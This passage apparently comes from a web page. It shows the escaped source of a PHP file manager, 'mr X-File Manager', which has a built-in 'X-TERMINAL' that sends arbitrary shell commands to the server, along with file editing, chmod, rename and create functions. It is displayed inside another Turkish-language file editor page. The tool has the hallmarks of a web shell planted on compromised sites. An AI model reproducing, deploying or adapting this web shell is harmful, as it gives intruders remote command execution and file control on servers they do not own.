                                        &lt;button type=&quot;submit&quot; name=&quot;delete&quot; class=&quot;action-btn&quot; title=&quot;Delete&quot;&gt;🗑️&lt;/button&gt;
                                    &lt;/form&gt;
                                &lt;/div&gt;
                            &lt;/td&gt;
                        &lt;/tr&gt;
                        &lt;?php endforeach; ?&gt;
                    &lt;/tbody&gt;
                &lt;/table&gt;
            &lt;/div&gt;
        &lt;/section&gt;

        &lt;!-- Command Console (Terminal) --&gt;
        &lt;section class=&quot;terminal-container&quot;&gt;
            &lt;div class=&quot;terminal-header&quot;&gt;
                &lt;span&gt;&gt;_ X-TERMINAL V2.5&lt;/span&gt;
                &lt;span&gt;Context: &lt;?php echo htmlspecialchars($current_path); ?&gt;&lt;/span&gt;
            &lt;/div&gt;
            &lt;div id=&quot;terminalOutput&quot; class=&quot;terminal-output&quot;&gt;mr X-File Manager Terminal Ready.
All commands will be executed relative to the current directory.
Type &#039;help&#039; for hints or any system command to begin.&lt;/div&gt;
            &lt;div class=&quot;terminal-input-group&quot;&gt;
                &lt;input type=&quot;text&quot; id=&quot;terminalInput&quot; class=&quot;terminal-input&quot; placeholder=&quot;Enter shell command here...&quot; autocomplete=&quot;off&quot;&gt;
                &lt;button onclick=&quot;executeCommand()&quot; class=&quot;btn btn-sm btn-success&quot;&gt;Run Cmd&lt;/button&gt;
            &lt;/div&gt;
        &lt;/section&gt;
        
        &lt;div style=&quot;height: 50px;&quot;&gt;&lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- Modals --&gt;
    &lt;div id=&quot;renameModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;h3 class=&quot;modal-title&quot;&gt;Rename: &lt;span id=&quot;renameFileName&quot;&gt;&lt;/span&gt;&lt;/h3&gt;
            &lt;form class=&quot;modal-form&quot; method=&quot;post&quot;&gt;
                &lt;input type=&quot;hidden&quot; id=&quot;renameOldPath&quot; name=&quot;oldPath&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;New Item Name&lt;/label&gt;
                    &lt;input type=&quot;text&quot; id=&quot;renameNewName&quot; name=&quot;newName&quot; required&gt;
                &lt;/div&gt;
                &lt;div class=&quot;modal-actions&quot;&gt;
                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;renameModal&#039;)&quot;&gt;Cancel&lt;/button&gt;
                    &lt;button type=&quot;submit&quot; name=&quot;rename&quot; class=&quot;btn&quot;&gt;Rename Item&lt;/button&gt;
                &lt;/div&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;div id=&quot;permissionsModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;h3 class=&quot;modal-title&quot;&gt;Modify Permissions: &lt;span id=&quot;permissionsFileName&quot;&gt;&lt;/span&gt;&lt;/h3&gt;
            &lt;form class=&quot;modal-form&quot; method=&quot;post&quot;&gt;
                &lt;input type=&quot;hidden&quot; id=&quot;permissionsPath&quot; name=&quot;permPath&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Octal Representation (e.g., 0755 or 0644)&lt;/label&gt;
                    &lt;input type=&quot;text&quot; name=&quot;permissions&quot; placeholder=&quot;0755&quot; required&gt;
                &lt;/div&gt;
                &lt;div class=&quot;modal-actions&quot;&gt;
                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;permissionsModal&#039;)&quot;&gt;Cancel&lt;/button&gt;
                    &lt;button type=&quot;submit&quot; name=&quot;changePermissions&quot; class=&quot;btn&quot;&gt;Apply Changes&lt;/button&gt;
                &lt;/div&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;div id=&quot;createFileModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;h3 class=&quot;modal-title&quot;&gt;Create New File&lt;/h3&gt;
            &lt;form class=&quot;modal-form&quot; method=&quot;post&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Filename (with extension)&lt;/label&gt;
                    &lt;input type=&quot;text&quot; name=&quot;newFileName&quot; placeholder=&quot;script.php&quot; required&gt;
                &lt;/div&gt;
                &lt;div class=&quot;modal-actions&quot;&gt;
                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;createFileModal&#039;)&quot;&gt;Cancel&lt;/button&gt;
                    &lt;button type=&quot;submit&quot; name=&quot;createFile&quot; class=&quot;btn&quot;&gt;Create File&lt;/button&gt;
                &lt;/div&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;div id=&quot;createFolderModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;h3 class=&quot;modal-title&quot;&gt;Create New Folder&lt;/h3&gt;
            &lt;form class=&quot;modal-form&quot; method=&quot;post&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Folder Name&lt;/label&gt;
                    &lt;input type=&quot;text&quot; name=&quot;newFolderName&quot; placeholder=&quot;assets&quot; required&gt;
                &lt;/div&gt;
                &lt;div class=&quot;modal-actions&quot;&gt;
                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;createFolderModal&#039;)&quot;&gt;Cancel&lt;/button&gt;
                    &lt;button type=&quot;submit&quot; name=&quot;createFolder&quot; class=&quot;btn&quot;&gt;Create Folder&lt;/button&gt;
                &lt;/div&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;div id=&quot;editFileModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content modal-lg&quot;&gt;
            &lt;h3 class=&quot;modal-title&quot;&gt;Editor: &lt;span id=&quot;editFileName&quot;&gt;&lt;/span&gt;&lt;/h3&gt;
            &lt;form class=&quot;editor-form&quot; method=&quot;post&quot;&gt;
                &lt;input type=&quot;hidden&quot; id=&quot;editFilePath&quot; name=&quot;filePath&quot;&gt;
                &lt;div class=&quot;form-group&quot; style=&quot;flex-grow:1; display:flex; flex-direction:column;&quot;&gt;
                    &lt;textarea id=&quot;fileContent&quot; name=&quot;fileContent&quot; required&gt;&lt;/textarea&gt;
                &lt;/div&gt;
                &lt;div class=&quot;modal-actions&quot;&gt;
                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;editFileModal&#039;)&quot;&gt;Cancel&lt;/button&gt;
                    &lt;button type=&quot;submit&quot; name=&quot;saveFile&quot; class=&quot;btn&quot;&gt;Save Changes&lt;/button&gt;
                &lt;/div&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- Hidden forms for JS --&gt;
    &lt;form id=&quot;navigationForm&quot; method=&quot;post&quot; style=&quot;display:none;&quot;&gt;&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;navigate&quot;&gt;&lt;input type=&quot;hidden&quot; id=&quot;navigationPath&quot; name=&quot;path&quot;&gt;&lt;/form&gt;
    &lt;form id=&quot;downloadForm&quot; method=&quot;post&quot; style=&quot;display:none;&quot;&gt;&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;download&quot;&gt;&lt;input type=&quot;hidden&quot; id=&quot;downloadPath&quot; name=&quot;path&quot;&gt;&lt;/form&gt;

    &lt;script&gt;
        function showLoading() { document.getElementById(&#039;loadingOverlay&#039;).style.display = &#039;flex&#039;; }
        function hideLoading() { document.getElementById(&#039;loadingOverlay&#039;).style.display = &#039;none&#039;; }
        
        // Navigation helper that preserves the key in the URL
        function navigateTo(path) { 
            showLoading(); 
            document.getElementById(&#039;navigationPath&#039;).value = path;
            const form = document.getElementById(&#039;navigationForm&#039;);
            form.submit(); 
        }

        function downloadFile(path) { 
            const form = document.getElementById(&#039;downloadForm&#039;);
            document.getElementById(&#039;downloadPath&#039;).value = path; 
            form.submit(); 
        }

        function hideModal(id) { document.getElementById(id).style.display = &#039;none&#039;; }
        
        function showRenameModal(path, name) {
            document.getElementById(&#039;renameFileName&#039;).textContent = name;
            document.getElementById(&#039;renameOldPath&#039;).value = path;
            document.getElementById(&#039;renameNewName&#039;).value = name;
            document.getElementById(&#039;renameModal&#039;).style.display = &#039;flex&#039;;
        }

        function showPermissionsModal(path, name) {
            document.getElementById(&#039;permissionsFileName&#039;).textContent = name;
            document.getElementById(&#039;permissionsPath&#039;).value = path;
            document.getElementById(&#039;permissionsModal&#039;).style.display = &#039;flex&#039;;
        }

        function showCreateFileModal() { document.getElementById(&#039;createFileModal&#039;).style.display = &#039;flex&#039;; }
        function showCreateFolderModal() { document.getElementById(&#039;createFolderModal&#039;).style.display = &#039;flex&#039;; }

        function showEditFileModal(path, name) {
            document.getElementById(&#039;editFileName&#039;).textContent = name;
            document.getElementById(&#039;editFilePath&#039;).value = path;
            showLoading();
            const formData = new FormData();
            formData.append(&#039;action&#039;, &#039;getContent&#039;);
            formData.append(&#039;path&#039;, path);
            fetch(window.location.href, { method: &#039;POST&#039;, body: formData })
            .then(r =&gt; r.text())
            .then(content =&gt; {
                document.getElementById(&#039;fileContent&#039;).value = content;
                document.getElementById(&#039;editFileModal&#039;).style.display = &#039;flex&#039;;
                hideLoading();
            }).catch(e =&gt; { hideLoading(); alert(&#039;Error loading file: &#039; + e); });
        }

        // Terminal Functionality
        function executeCommand() {
            const cmd = document.getElementById(&#039;terminalInput&#039;).value;
            if (!cmd) return;
            
            const outputBox = document.getElementById(&#039;terminalOutput&#039;);
            const timestamp = new Date().toLocaleTimeString();
            outputBox.textContent += `\n[${timestamp}] $ ${cmd}\n`;
            outputBox.scrollTop = outputBox.scrollHeight;
            
            const formData = new FormData();
            formData.append(&#039;action&#039;, &#039;executeCommand&#039;);
            formData.append(&#039;command&#039;, cmd);
            
            document.getElementById(&#039;terminalInput&#039;).value = &#039;&#039;;
            
            fetch(window.location.href, { method: &#039;POST&#039;, body: formData })
            .then(r =&gt; r.text())
            .then(res =&gt; {
                outputBox.textContent += res + &#039;\n&#039;;
                outputBox.scrollTop = outputBox.scrollHeight;
            })
            .catch(e =&gt; {
                outputBox.textContent += &#039;Execution Error: &#039; + e + &#039;\n&#039;;
                outputBox.scrollTop = outputBox.scrollHeight;
            });
        }

        // Handle Enter key in terminal
        document.getElementById(&#039;terminalInput&#039;).addEventListener(&#039;keypress&#039;, function(e) {
            if (e.key === &#039;Enter&#039;) executeCommand();
        });

        // Global form submission loader
        document.querySelectorAll(&#039;form&#039;).forEach(f =&gt; {
            f.addEventListener(&#039;submit&#039;, () =&gt; {
                if (f.id !== &#039;navigationForm&#039; &amp;&amp; f.id !== &#039;downloadForm&#039;) showLoading();
            });
        });
        
        // Modal click-outside to close
        window.onclick = function(event) {
            if (event.target.className === &#039;modal&#039;) {
                event.target.style.display = &#039;none&#039;;
            }
        }
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome'>⬅️ Yukarı</a>